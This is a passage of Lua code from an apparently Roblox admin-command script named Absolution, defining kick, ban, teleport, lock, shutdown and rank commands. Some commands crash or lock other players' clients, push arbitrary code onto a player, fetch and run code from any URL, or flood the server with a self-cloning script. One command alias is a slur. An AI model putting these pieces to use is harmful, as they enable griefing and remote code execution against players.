  3846. Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm temporary ban for: '..Absolution.Functions.GetTime(Duration),'Really red',function()
  3847. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  3848. Absolution.Functions:setTempBan(v, Reason, (Duration))
  3849. --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  3850. Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  3851. Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
  3852. Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
  3853. wait()
  3854. Absolution.Functions.syncRankOut(v)
  3855. v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
  3856. end)
  3857. end)
  3858. else
  3859. ypcall(function()
  3860. Absolution.Functions.getRankedTable(v.Name).Description = Reason
  3861. Absolution.Functions:setTempBan(v, Reason, (Duration))
  3862. --Absolution.Functions.sbOutput(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  3863. Absolution.Functions.Announce(v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration), 'Error')
  3864. Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)})
  3865. Absolution.Functions.Out('All', v.Name..' was temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration)..'.', 5)
  3866. wait()
  3867. Absolution.Functions.syncRankOut(v)
  3868. v:Kick('You were temp-banned for '..Reason..' Time remaining:'..Absolution.Functions.GetTime(Duration))
  3869. end)
  3870. end
  3871. end
  3872. end
  3873. elseif Absolution.Functions.GetSplit(Msg) == "r" then
  3874. Msg = Msg:gsub("-r","")
  3875. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3876. if #Players > 0 then
  3877. for _,v in pairs(Players) do
  3878. ypcall(function()
  3879. Absolution.Services.TeleportService:Teleport(game.PlaceId, v)
  3880. Absolution.Functions.Out(Speaker, 'Rejoined '..v.Name..'.', 5)
  3881. end)
  3882. end
  3883. end
  3884. elseif Absolution.Functions.GetSplit(Msg) == "bs" then
  3885. Msg = Msg:gsub("-bs","")
  3886. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3887. local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
  3888. if #Players > 0 then
  3889. for _,v in pairs(Players) do
  3890. ypcall(function()
  3891. --Absolution.Functions.sbOutput(v.Name..' was given bsod for '..Reason, 'Error')
  3892. Absolution.Functions.Announce(v.Name..' was given bsod for '..Reason, 'Error')
  3893. Absolution.Functions.Out('All', v.Name..' was given bsod for '..Reason..'.', 5)
  3894. Absolution.Handler:sendPacket(v, 'bsod',{["REASON"] = Reason})
  3895. game:service'Debris':AddItem(v, 6)
  3896. end)
  3897. wait''
  3898. pcall(function() v:Kick('Disconnected for: '..Reason) end)
  3899. end
  3900. end
  3901. elseif Absolution.Functions.GetSplit(Msg) == "c" then
  3902. Msg = Msg:gsub("-c","")
  3903. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3904. local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
  3905. if #Players > 0 then
  3906. for _,v in pairs(Players) do
  3907. ypcall(function()
  3908. --Absolution.Functions.sbOutput(v.Name..' was crashed for '..Reason, 'Error')
  3909. Absolution.Functions.Announce(v.Name..' was crashed for '..Reason, 'Error')
  3910. Absolution.Functions.Out('All', v.Name..' was crashed for '..Reason..'.', 5)
  3911. Absolution.Handler:sendPacket(v, "repeat",{["REASON"] = Reason})
  3912. game:service'Debris':AddItem(v, 6)
  3913. end)
  3914. end
  3915. end
  3916. elseif Absolution.Functions.GetSplit(Msg) == "n" then
  3917. Msg = Msg:gsub("-n","")
  3918. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3919. if #Players > 0 then
  3920. for _,v in pairs(Players) do
  3921. ypcall(function()
  3922. v.Parent = nil
  3923. Absolution.Functions.Out(Speaker, 'Nilkicked '..v.Name..'.', 5)
  3924. end)
  3925. end
  3926. end
  3927. else
  3928. local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3929. if #Players > 0 then
  3930. local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
  3931. for _,v in pairs(Players) do
  3932. if Absolution.Functions:findRank(v) >= 3 then
  3933. ypcall(function()
  3934. Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm kick for: '..Reason,'Really red',function()
  3935. --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
  3936. Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
  3937. Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
  3938. Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
  3939. game:service'Debris':AddItem(v, 6)
  3940. end)
  3941. end)
  3942. else
  3943. ypcall(function()
  3944. --Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
  3945. Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
  3946. Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
  3947. Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
  3948. game:service'Debris':AddItem(v, 6)
  3949. end)
  3950. end
  3951. end
  3952. end
  3953. end
  3954. end)
  3955. Absolution.Functions.Command("Set Nick", {"nick","setnick"}, 4, "Changes a player's nickname", "No Flags",function(Speaker, Msg)
  3956. local Split = Msg:find('/')
  3957. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  3958. local Nick = Msg:sub(Split + 1)
  3959.  
  3960. for i,v in pairs(Player) do
  3961. Absolution.Functions.nickName(v.Name, Nick)
  3962. Absolution.Functions.Out(Speaker, 'Renamed '..v.Name..' to '..Nick..'.', 5)
  3963. end
  3964.  
  3965. end)
  3966. Absolution.Functions.Command("nilAllow", {"na","nilallow","nallow","nila"}, 4, "Toggles a player's nil privileges", "No Flags",function(Speaker, Msg)
  3967. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3968. local Status;
  3969. Absolution.Functions.Dismiss(Speaker)
  3970. if #Players > 0 then
  3971. for _,v in pairs(Players) do
  3972. ypcall(function()
  3973. Status = Absolution.Handler:sendPacket(v, 'togglenil',{})
  3974. end)
  3975. --Absolution.Functions.Output(Speaker,(Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name),(Status and 'Lime green' or 'Really red'),nil ,8)
  3976. Absolution.Functions.Out(Speaker, (Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name), 5)
  3977. --Absolution.Functions.Output(v,(Status and 'You can go nil!' or 'Don\'t try to go nil!'),(Status and 'Lime green' or 'Really red'),nil ,8)
  3978. Absolution.Functions.Out(v, (Status and 'You can go nil!' or 'Don\'t try to go nil!'), 5)
  3979. end
  3980. end
  3981. end)
  3982. -- Rank 5 --
  3983.  
  3984. Absolution.Functions.Command("Disable Client", {"disable",'fag','fuckoff'}, 5, "Disables a clients input", "No Flags",function(Speaker, Msg)
  3985. local Players = Absolution.Functions.getPlayers(Speaker, Msg)
  3986. local Status;
  3987. Absolution.Functions.Dismiss(Speaker)
  3988. if #Players > 0 then
  3989. for _,v in pairs(Players) do
  3990. ypcall(function()
  3991. Status = Absolution.Handler:sendPacket(v, 'disable',{})
  3992. end)
  3993. Absolution.Functions.Out(Speaker,(Status and 'Disabled'..v.Name or 'Something went wrong there. (404) error not found'),(Status and 5 or 4))
  3994. end
  3995. end
  3996. end)
  3997.  
  3998. Absolution.Functions.Command("Teleport", {"teleport", "tele", "tp"}, 5, "Teleports A Player To Another Player", "-p (Place) -ps (Private Server)", function(Speaker,Msg)
  3999. if Absolution.Functions.GetSplit(Msg) == "p" then
  4000. Msg = Msg:gsub("-p", "")
  4001. local Split = Msg:find('/')
  4002. local Player = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  4003. local Numbers = Msg:sub(Split + 1)
  4004. if Speaker.Name=='CLarramore' or Speaker.Name=='coldblahblah' or (tostring(Numbers) and tostring(Numbers)=="192800")then
  4005. Absolution.Functions.Out(Speaker, 'Nice try', 4)
  4006. return
  4007. end
  4008. if Numbers == "oxsb" then
  4009. Numbers = "20279777"
  4010. elseif Numbers == "antisb" then
  4011. Numbers = "21053279"
  4012. elseif Numbers == "pksb" then
  4013. Numbers = "191240586"
  4014. elseif Numbers == "mastersb" then
  4015. Numbers = "210101277"
  4016. elseif Numbers == "jarredsb" then
  4017. Numbers = "189032917"
  4018. elseif Numbers == "nexuresb" then
  4019. Numbers = "178350907"
  4020. elseif Numbers == "c9" then
  4021. Numbers = "133180956"
  4022. elseif Numbers == "quarry" then
  4023. Numbers = "151670365"
  4024. elseif Numbers == "phantom" then
  4025. Numbers = "292439477"
  4026. end
  4027. if #Player > 0 then
  4028. for _,v in pairs(Player) do
  4029. ypcall(function()
  4030. Absolution.Services.TeleportService:Teleport(Numbers, v)
  4031. end)
  4032. end
  4033. end
  4034. elseif Absolution.Functions.GetSplit(Msg) == "ps" then
  4035. Msg=Msg:gsub('-ps','')
  4036. local r,e = ypcall(function()
  4037. local TS = game:GetService("TeleportService")
  4038. if not Absolution.TPReserves[tostring(game.PlaceId)] then
  4039. Absolution.TPReserves[tostring(game.PlaceId)] = TS:ReserveServer(game.PlaceId)
  4040. end
  4041. local players = Absolution.Functions.getPlayers(Speaker,Msg)
  4042. TS:TeleportToPrivateServer(game.PlaceId,Absolution.TPReserves[tostring(game.PlaceId)],players)
  4043. end)
  4044. if not r then Absolution.Functions.Out(Speaker, 'SEVERE ERROR: '..e, 4) end
  4045. else
  4046. local Split = Msg:find('/')
  4047. local Player1 = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  4048. local Player2 = Absolution.Functions.getPlayers(Speaker,Msg:sub(Split + 1))
  4049. if #Player1 > 0 or #Player2 > 0 then
  4050. for _,v in pairs(Player1) do
  4051. for _,v2 in pairs(Player2) do
  4052. ypcall(function()
  4053. v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
  4054. Absolution.Functions.Out(Speaker, 'Teleported '..v.Name..' to '..v2.Name..'.', 5)
  4055. end)
  4056. end
  4057. end
  4058. end
  4059. end
  4060. end)
  4061. Absolution.Functions.Command("Capture", {"cap", "bringhere", "maketab"}, 5, "Makes a player a part of your tablet rotation", "-u (Undo)", function(Speaker,Msg)
  4062. if Absolution.Functions.GetSplit(Msg) == "u" then
  4063. Msg = Msg:gsub("-u", "")
  4064. local Player = Absolution.Functions.getPlayers(Speaker,Msg)
  4065. if #Player > 0 then
  4066. for _,v in pairs(Player) do
  4067. ypcall(function()
  4068. for q,e in pairs(Absolution.Tablets) do
  4069. if e.Tab == v.Character.Torso then
  4070. table.remove(Absolution.Tablets, q)
  4071. Absolution.Functions.Out(Speaker, 'Released '..v.Name, 5)
  4072. end
  4073. end
  4074. end)
  4075. end
  4076. end
  4077. else
  4078. local Player1 = Absolution.Functions.getPlayers(Speaker,Msg)
  4079. if #Player1 > 0 then
  4080. for _,v in pairs(Player1) do
  4081. ypcall(function()
  4082. table.insert(Absolution.Tablets,{Tab = v.Character.Torso, Plr = Speaker.Name})
  4083. Absolution.Functions.Out(Speaker, 'Captured '..v.Name, 5)
  4084. end)
  4085. end
  4086. end
  4087. end
  4088. end)
  4089. Absolution.Functions.Command("Private Server", {"pri", "privateserver"}, 5, "PrivateServer Menu", nil, function(Speaker,Msg)
  4090. if #Msg == 0 then
  4091. Absolution.Functions.Dismiss(Speaker)
  4092. local Status = Absolution.PrivateServer.Enabled == true and "On" or "Off"
  4093. Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
  4094. Absolution.Functions.Dismiss(Speaker)
  4095. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  4096. if Absolution.Functions:findRank(v) <= 0.5 then
  4097. Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
  4098. v:Kick()
  4099. end
  4100. end
  4101. Absolution.PrivateServer.Enabled = true
  4102. Absolution.Functions.Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
  4103. end)
  4104. Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Dismiss(Speaker) Absolution.PrivateServer.Enabled = false Absolution.Functions.Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
  4105. Absolution.Functions.Output(Speaker, "Status: "..Status)
  4106. elseif Msg == "on" or Msg == "1" or Msg == "true" then
  4107. Absolution.PrivateServer.Enabled = true
  4108. for _,v in pairs(Absolution.Services.Players:getPlayers()) do
  4109. if Absolution.Functions:findRank(v) <= 0.5 then
  4110. table.insert(Absolution.PrivateServer.Waiting, v.Name)
  4111. Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
  4112. v:Kick()
  4113. end
  4114. end
  4115. Absolution.Functions.Out(Speaker, "Private Server Enabled", 2)
  4116. elseif Msg == "off" or Msg == "0" or Msg == "false" then
  4117. Absolution.PrivateServer.Enabled = false
  4118. Absolution.Functions.Out(Speaker, "Private Server Disabled", 2)
  4119. end
  4120. end)
  4121. Absolution.Functions.Command("Lock Server", {"slock", "serverlock"}, 5, "ServerLocking Menu", nil, function(Speaker,Msg)
  4122. Absolution.Functions.Dismiss(Speaker)
  4123. local Status = Absolution.Locks.Server.Locked == true and "On" or "Off"
  4124. local Level;
  4125. local numPlrs = 0
  4126. if not Absolution.Locks.Server.Locked then
  4127. Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
  4128. Absolution.Functions.Dismiss(Speaker)
  4129. Absolution.Functions.Output(Speaker, 'Ranks above and equal to...','Really red')
  4130. for i,v in pairs(Absolution.Ranks) do
  4131. if i<=Absolution.Functions:findRank(Speaker.Name) and i>=0 then
  4132. Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
  4133. Absolution.Functions.Dismiss(Speaker)
  4134. Absolution.Locks.Server.rankNumber = i
  4135. Absolution.Functions.Output(Speaker, 'Duration:', "Really red")
  4136. for i=1200,1,-60 do
  4137. Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
  4138. Absolution.Functions.Dismiss(Speaker)
  4139. for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
  4140. local vRank = Absolution.Functions:findRank(tostring(v))
  4141. if(vRank<Absolution.Locks.Server.rankNumber)then
  4142. numPlrs = numPlrs + 1
  4143. end
  4144. end
  4145. Absolution.Functions.Output(Speaker, 'This will disconnect '..numPlrs..' player(s). Continue?','Bright orange',function()
  4146. Absolution.Locks.Server.Duration = i
  4147. Absolution.Functions.Output(Speaker, "Server Lock Enabled", "Really red", nil, 6)
  4148. Absolution.Locks.Server:enabledServerLock()
  4149. Absolution.Functions.Output(Speaker, "Server Lock Completed", "Bright green", nil, 6)
  4150. end)
  4151. end)
  4152. end
  4153. end)
  4154. else
  4155. end
  4156. end
  4157. end)
  4158. else
  4159. Absolution.Functions.Output(Speaker, 'Cannot turn on. Server lock is in effect!', 'Really red')
  4160. end
  4161. Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Announce("Server Lock Disabled") Absolution.Functions.Dismiss(Speaker) Absolution.Locks.Server.Locked = false Absolution.Functions.Output(Speaker, "Server Lock Disabled", "Lime green", nil, 3) end)
  4162. Absolution.Functions.Output(Speaker, "Status: "..Status)
  4163. end)
  4164. Absolution.Functions.Command("Lock Scripts", {"locks", "lockscripts"}, 5, "Locks/Unlocks Scripting", "-s (Server) -l (Local)", function(Speaker, Msg)
  4165. if Absolution.Functions.GetSplit(Msg) == "s" then
  4166. Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
  4167. Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..(tostring(Absolution.Locks.Server.Server) == 'true' and 'active' or 'inactive'), 2)
  4168. return
  4169. elseif Absolution.Functions.GetSplit(Msg) == "l" then
  4170. Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
  4171. Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..(tostring(Absolution.Locks.Server.Local) == 'true' and 'active' or 'inactive'), 2)
  4172. return
  4173. else
  4174. Absolution.Functions.Dismiss(Speaker)
  4175. Absolution.Functions.Output(Speaker, "Server Sided Scripting: "..tostring(Absolution.Locks.Server.Server), "Bright orange")
  4176. Absolution.Functions.Output(Speaker, "Local Sided Scripting: "..tostring(Absolution.Locks.Server.Local), "Bright orange")
  4177. Absolution.Functions.Output(Speaker, "Toggle Server Sided", Absolution.Locks.Server.Server == false and "Lime green" or "Really red", function()
  4178. Absolution.Functions.Dismiss(Speaker)
  4179. Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
  4180. Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..tostring(Absolution.Locks.Server.Server), 2)
  4181. end)
  4182. Absolution.Functions.Output(Speaker, "Toggle Local Sided", Absolution.Locks.Server.Local == false and "Lime green" or "Really red", function()
  4183. Absolution.Functions.Dismiss(Speaker)
  4184. Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
  4185. Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..tostring(Absolution.Locks.Server.Local), 2)
  4186. end)
  4187. end
  4188. end)
  4189. Absolution.Functions.Command("Debugger Console", {"console","cons", "clog"}, 5, "Shows the console", "No Flags", function(Speaker, Msg)
  4190. Absolution.Functions.MakeOutput(Speaker)
  4191. end)
  4192. -- Rank 6 --
  4193. Absolution.Functions.Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 6, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
  4194. local Split = Msg:find(Absolution.Functions.getRankedTable(Speaker.Name).Bet and Absolution.Functions.getRankedTable(Speaker.Name).Bet or '/')
  4195. local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
  4196. local Rank = tonumber(Msg:sub(Split + 1))
  4197. if #Player > 0 then
  4198. for _,v in pairs(Player) do
  4199. if Rank == nil then Absolution.Functions.Out(Speaker, "That rank is invalid", 4) return end
  4200. if Rank < -2 then return Absolution.Functions.Out(Speaker, 'You cannot set a rank that low',4) end
  4201. if Rank < 0 and Absolution.Functions:findRank(Speaker) < 4 then Absolution.Functions.Out(Speaker, "You cannot set a rank that low.", 4) return end
  4202. if Absolution.Functions:findRank(v) > Absolution.Functions:findRank(Speaker) then Absolution.Functions.Output(Speaker, "You cannot set a person's rank that is higher than you!", 4) return end
  4203. if Rank < Absolution.Functions:findRank(Speaker) then
  4204. Absolution.Functions.getRankedTable(tostring(v)).Rank = Rank
  4205. Absolution.Functions.Out(Speaker, "Changed "..v.Name.."'s membership status to "..Absolution.Ranks[Rank], 5)
  4206. Absolution.Functions.Out(v, "Your membership was changed to "..Absolution.Ranks[Rank].." by "..Speaker.Name.."!", 5)
  4207. Absolution.Functions.syncRankOut(v)
  4208. else
  4209. Absolution.Functions.Out(Speaker, "You cannot set a rank higher than you!", 4)
  4210. end
  4211. end
  4212. end
  4213. end)
  4214. Absolution.Functions.Command('Untempban', {'utb','untempban'}, 6, 'Un tempbans a player', 'No flags', function(Speaker, Msg)
  4215. local plr = game:service'Players':GetUserIdFromNameAsync(Msg)
  4216. if not Absolution.Tempbans[tostring(plr)] then Absolution.Functions.Out(Speaker, 'Banned player not found!', 4) return end
  4217. if not plr then Absolution.Functions.Out(Speaker, 'Invalid player!', 4) return end
  4218. local result = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=delete', "player="..plr, Enum.HttpContentType.ApplicationUrlEncoded)
  4219. Absolution.Tempbans[tostring(plr)] = nil
  4220. Absolution.Functions.Out(Speaker, result, 2)
  4221. Absolution.Functions.Out(Speaker, 'Unbanned '..Msg..' ('..plr..')', 5)
  4222. end)
  4223. Absolution.Functions.Command('Trace string', {'trace', 'tr'}, 6, 'Traces a string through all of the logs', '-p (Player)', function(Speaker, Msg)
  4224.  
  4225. Absolution.Functions.Dismiss(Speaker)
  4226.  
  4227. local GetTime = function(self)
  4228. local hour = math.floor((self%86400)/60/60)
  4229. local min = math.floor(((self%86400)/60/60-hour)*60)
  4230. if min < 10 then min = "0"..min end
  4231. if hour < 10 then hour = "0"..hour end
  4232. return hour..":"..min
  4233. end
  4234.  
  4235. if Absolution.Functions.GetSplit(Msg) == "p" then
  4236.  
  4237. local plr = Absolution.Functions.getPlayers(Msg)
  4238.  
  4239. if #plr > 1 then
  4240.  
  4241. Absolution.Functions.Out(Speaker,'Too many players!',4)
  4242.  
  4243. return
  4244.  
  4245. else
  4246.  
  4247. local sData = Absolution.Functions.TraceSearch(plr[1].Name, true)
  4248.  
  4249. for i,v in pairs(sData) do
  4250.  
  4251. Absolution.Functions.Output(Speaker, GetTime(v.tim), nil, function()
  4252.  
  4253. Absolution.Functions.Dismiss(Speaker)
  4254.  
  4255. Absolution.Functions.Output(Speaker, v.data)
  4256.  
  4257. end)
  4258. end
  4259.  
  4260. end
  4261.  
  4262. else
  4263.  
  4264. local sData = Absolution.Functions.TraceSearch(Msg)
  4265.  
  4266. if #sData > 0 then
  4267. for i,v in pairs(sData) do
  4268. Absolution.Functions.Out(Speaker, v.plr.. ' = '..v.data:gsub("\n",""), 5)
  4269. end
  4270. else
  4271. Absolution.Functions.Out(Speaker, 'No logs found for '..Msg, 4)
  4272. end
  4273.  
  4274. end
  4275.  
  4276. end)
  4277. Absolution.Functions.Command("Shutdown", {"sd", "shutdown"}, 6, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow)", function(Speaker, Msg)
  4278. if Absolution.Functions.GetSplit(Msg) == "c" then
  4279. Msg = Msg:gsub("-c","")
  4280. for i = 1, Absolution.Constants.ShutdownTime do
  4281. if Absolution.Aborted == true then
  4282. Absolution.Aborted = false
  4283. local ABM = Instance.new("Message", Absolution.Services.Workspace)
  4284. ABM.Text = "Shutdown Aborted!"
  4285. Absolution.Services.Debris:AddItem(ABM, 1)
  4286. Absolution.Locks.Server.Server = false
  4287. Absolution.Locks.Server.Local = false
  4288. return
  4289. else
  4290. Absolution.Locks.Server.Server = true
  4291. Absolution.Locks.Server.Local = true
  4292. local ABM = Instance.new("Message", Absolution.Services.Workspace)
  4293. ABM.Text = "\n\n\n\n\nShutdown in "..Absolution.Constants.ShutdownTime-i.." seconds"
  4294. wait(1)
  4295. if ABM ~= nil then
  4296. ABM:remove()
  4297. end
  4298. end
  4299. end
  4300. Absolution.Functions.Shutdown(Speaker.Name, #Msg>0 and Msg or 'No reason defined')
  4301. elseif Absolution.Functions.GetSplit(Msg) == "a" then
  4302. Msg = Msg:gsub("-a", "")
  4303. Absolution.Aborted = true
  4304. elseif Absolution.Functions.GetSplit(Msg) == "o" then
  4305. Msg = Msg:gsub("-o", "")
  4306. Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
  4307. Absolution.Functions.createScript([[
  4308. while game:service'RunService'.Stepped:wait() do
  4309. script:Clone().Parent = game:GetService("Workspace")
  4310. end
  4311. ]], Absolution.Services.Workspace)
  4312. end)
  4313. else
  4314. Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
  4315. Absolution.Functions.Shutdown(Speaker.Name, Msg and Msg or 'no reason given')
  4316. end)
  4317. end
  4318. end)
  4319. -- Rank 7 --
  4320. Absolution.Functions.Command("Remove Script", {"cremove"}, 7, "Removes the Script", "No Flags", function(Speaker, Msg)
  4321. Absolution.Handler.sendChat('Removing Absolution...')
  4322. Absolution.Functions.Out("Admins", 'Removing Absolution...', 5)
  4323. Absolution.Handler:fireAllClients('removescript')
  4324. wait(2)
  4325. --syncRanksOut()
  4326. for i,v in pairs(Absolution.Services.Players:getPlayers()) do
  4327. Absolution.Functions.Dismiss(v)
  4328. end
  4329. for i,v in pairs(Absolution.Connections) do
  4330. pcall(function()
  4331. v:disconnect()
  4332. end)
  4333. end
  4334. for i,v in pairs(Absolution.Functions) do
  4335. Absolution.Functions[i] = function() end
  4336. end
  4337. Absolution = nil
  4338. for i,v in pairs(getfenv()) do
  4339. getfenv()[i] = nil
  4340. end
  4341. script.Source = ''
  4342. end)
  4343. Absolution.Functions.Command("Send Packet", {"packet", "sendp", "pseudopacket"}, 7, "Sends a packet to a player", "No Flags", function(Speaker,Msg)
  4344. local Split = Msg:find('/')
  4345. local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  4346. local Packet = Msg:sub(Split + 1)
  4347. local pckt;
  4348. if #Players > 0 then
  4349. for _,v in pairs(Players) do
  4350. local Ran,Error = ypcall(function()
  4351. pckt = Absolution.Handler:sendPacket(v, Packet)
  4352. end)
  4353. if not Ran then
  4354. Absolution.Functions.Out(Speaker, Error, 4)
  4355. else
  4356. Absolution.Functions.Out(Speaker, tostring(pckt), 1)
  4357. end
  4358. end
  4359. end
  4360. end)
  4361. Absolution.Functions.Command("Connect Player", {"connect","conp","cplayer","connectplayer"}, 7, "Connects a player to absolution", "No Flags", function(Speaker,Msg)
  4362. local Players = Absolution.Functions.getPlayers(Speaker,Msg)
  4363. if #Players > 0 then
  4364. for _,v in pairs(Players) do
  4365. local Ran,Error = ypcall(function()
  4366. Absolution.Functions:ConnectPlayer(v)
  4367. end)
  4368. if not Ran then
  4369. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  4370. Absolution.Functions.Out(Speaker, Error, 4)
  4371. else
  4372. Absolution.Functions.Out(Speaker, "Attempting to force connect "..v.Name, 5)
  4373. --Absolution.Functions.Output(Speaker, "Attempting to force connect "..v.Name, 'White')
  4374. end
  4375. end
  4376. end
  4377. end)
  4378. Absolution.Functions.Command("Send loadstring", {"loadstr", "rlt", "nl"}, 7, "Sends a code to a player", "No Flags", function(Speaker,Msg)
  4379. local Split = Msg:find('/')
  4380. local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  4381. local Packet = Msg:sub(Split + 1)
  4382. local pckt;
  4383. if #Players > 0 then
  4384. for _,v in pairs(Players) do
  4385. local Ran,Error = ypcall(function()
  4386. pckt = Absolution.Handler:clientLS(Packet, v)
  4387. end)
  4388. if not Ran then
  4389. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  4390. Absolution.Functions.Out(Speaker, Error, 4)
  4391. else
  4392. --Absolution.Functions.Output(Speaker, tostring(pckt), 'White')
  4393. Absolution.Functions.Out(Speaker, tostring(pckt), 1)
  4394. end
  4395. end
  4396. end
  4397. end)
  4398. Absolution.Functions.Command("NewLocalScript", {"nls","forcelocal"}, 7, "Sends a localscript to a player", "No Flags", function(Speaker,Msg)
  4399. local Split = Msg:find('/')
  4400. local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  4401. local Packet = Msg:sub(Split + 1)
  4402. local pckt;
  4403. if #Players > 0 then
  4404. for _,v in pairs(Players) do
  4405. local Ran,Error = ypcall(function()
  4406. pckt = Absolution.Functions.NLS(Packet, v:findFirstChild('PlayerGui'))
  4407. end)
  4408. if not Ran then
  4409. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  4410. Absolution.Functions.Out(Speaker, Error, 4)
  4411. else
  4412. --Absolution.Functions.Output(Speaker, 'Sent localscript', 'White')
  4413. Absolution.Functions.Out(Speaker, 'Sent local to '..v.Name, 5)
  4414. end
  4415. end
  4416. end
  4417. end)
  4418. Absolution.Functions.Command('Load ic3 admin', {'loadcancer'}, 7, 'Loads ic3s cancer module (do not do this unless you know what the hell ur doing)', 'No Flags', function(Speaker, Msg)
  4419. Absolution.Functions.createScript([[require(200901975)'ic399']], workspace)
  4420. end)
  4421. Absolution.Functions.Command("Load HTTP from page", {'loadh','httpload'}, 7, 'Loads an http script from a website', 'No Flags', function(Speaker,Msg)
  4422. if #Msg >0 then
  4423. local httpSite = Msg
  4424. Absolution.Functions.Output(Speaker,'Are you sure you want to load '..httpSite..'?','Bright violet',function()
  4425. local rtn = Absolution.Services.HttpService:GetAsync(httpSite)
  4426. Absolution.Functions.createScript(rtn, Absolution.Services.Workspace, Speaker.Name..' http script')
  4427. end)
  4428. end
  4429. end)
  4430. Absolution.Functions.Command("Execute", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
  4431. warn(Speaker, "loadstring(\""..Msg.."\")")
  4432. local Speakr = Speaker
  4433. local ran,error = ypcall(function()
  4434. loadstring(Msg)()
  4435. end)
  4436. if not ran then
  4437. Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, error, 'Really red')
  4438. else
  4439. Absolution.Functions.Out(Speaker,'Ran Successfully!', 5)--Absolution.Functions.Output(Speaker, 'Ran successfully!', 'Lime green')
  4440. end
  4441. end)
  4442. -- Rank 8 --
  4443. Absolution.Functions.Command("Sync Ranks Out", {'so','sync','sro'}, 8, "Syncs data to database", "-p (Player data)", function(Speaker,Msg)
  4444. if Absolution.Functions.GetSplit(Msg) == 'p' then
  4445. local Players = Absolution.Functions.getPlayers(Speaker,Msg)
  4446. if #Players > 0 then
  4447. for _,v in pairs(Players) do
  4448. Absolution.Functions.Out(Speaker,"Attempting to sync data for "..v.Name, 5)
  4449. local Ran,Error = ypcall(function()
  4450. Absolution.Functions.syncRankOut(v)
  4451. end)
  4452. if not Ran then
